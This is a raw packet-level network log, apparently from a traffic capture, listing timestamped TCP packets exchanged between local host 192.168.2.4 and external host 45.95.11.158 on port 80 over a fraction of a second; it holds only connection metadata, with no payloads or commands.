Aug 23, 2022 03:43:00.105381966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105393887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105420113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105434895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105464935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105477095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105509043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105518103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105536938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105551004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105581999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105591059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105623960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105631113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105659962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105674028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105694056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105712891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105735064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105747938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105777025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105788946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105818033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105829000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105849981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105868101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105887890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108125925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108163118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108195066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108207941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108228922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108237982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108259916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108278990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108299971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108328104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108347893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108357906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108376026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108406067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108455896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108479977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108510017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108524084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108551979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.108566046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108586073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.108617067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109402895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109472036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109493017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109504938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109519005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109560013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109591007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109608889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109642029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109671116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109713078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109733105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109765053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109790087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109817982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109836102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109865904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109894991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109942913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.109956026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.109987974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110013962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110043049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110059023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110089064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110119104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110167027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110182047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110214949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110239983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110308886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110330105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110368013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110388041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110435009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110450983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110480070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110507965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110536098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110554934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110584974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110610962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110660076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110671997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110711098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110728979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110758066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110774040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110802889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110832930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110881090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110893011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110924959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.110950947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110980034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.110999107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.111025095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.111054897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.111100912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.111114979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.111145973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.111171961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.111202002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.111219883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.111288071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132262945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132317066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132358074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132395983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132431030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132452965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132461071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132513046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132563114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132586002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132625103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132662058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132715940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132735014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132786036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132807016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132858038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132879019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132915974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.132936954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.132970095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.133759022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.133806944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.133841991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.133881092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.133918047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.133949995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.133975983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.134027004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.135565996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.135649920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.135771990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.135818958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.135842085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.135881901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.135901928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.135957003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.136512041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136563063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136585951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.136625051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.136660099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136693001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136714935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.136744022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.136790037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136848927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136864901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.136904001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.136939049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136971951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.136996031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137026072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137067080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137124062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137136936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137176991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137211084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137269020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137307882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137351990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137372017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137403965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137443066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137492895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137517929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137550116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137571096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137600899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137641907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137701988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137715101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137752056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137785912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137818098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137839079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137871027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.137912035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137968063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.137980938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138016939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138051987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138082027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138103008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138135910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138174057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138225079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138245106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138294935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138315916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138350010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138370037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138410091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138443947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138494015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138520956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138578892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138628960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138658047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138688087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138705015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138751984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138808012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138822079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138864040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138895035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138926029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.138948917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.138981104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139019012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139074087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139097929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139141083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139174938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139206886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139233112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139290094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139316082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139386892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139427900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139497995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139513016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139553070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.139578104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.139645100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140055895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140125990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140142918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140185118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140222073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140264034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140286922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140321970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140362024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140417099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140441895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140496969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140527010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140568018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140588999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140625954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140665054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140722036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140744925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140799046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140821934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140866041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.140887022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.140922070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141037941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141104937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141119957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141160965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141196966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141237974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141258955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141293049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141506910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141575098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141590118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141633034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141668081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141710043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141733885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141768932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141808987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141875029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141891003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.141954899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.141976118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.142019987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.142047882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.142103910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.142127991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.142196894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.142211914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.142256975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.142291069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.142335892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.142359018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.142395973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144352913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144414902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144481897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144499063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144522905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144584894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144620895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144655943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144690037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144757986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144773006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144815922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144843102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144902945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.144923925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.144979954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145001888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145057917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145082951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145153999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145198107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145225048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145270109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145283937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145315886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145371914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145385027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145425081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145442963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145531893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145558119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145605087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145625114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145665884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145699978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145730019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.145755053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.145793915 CEST	49743	80	192.168.2.4	45.95.11.158
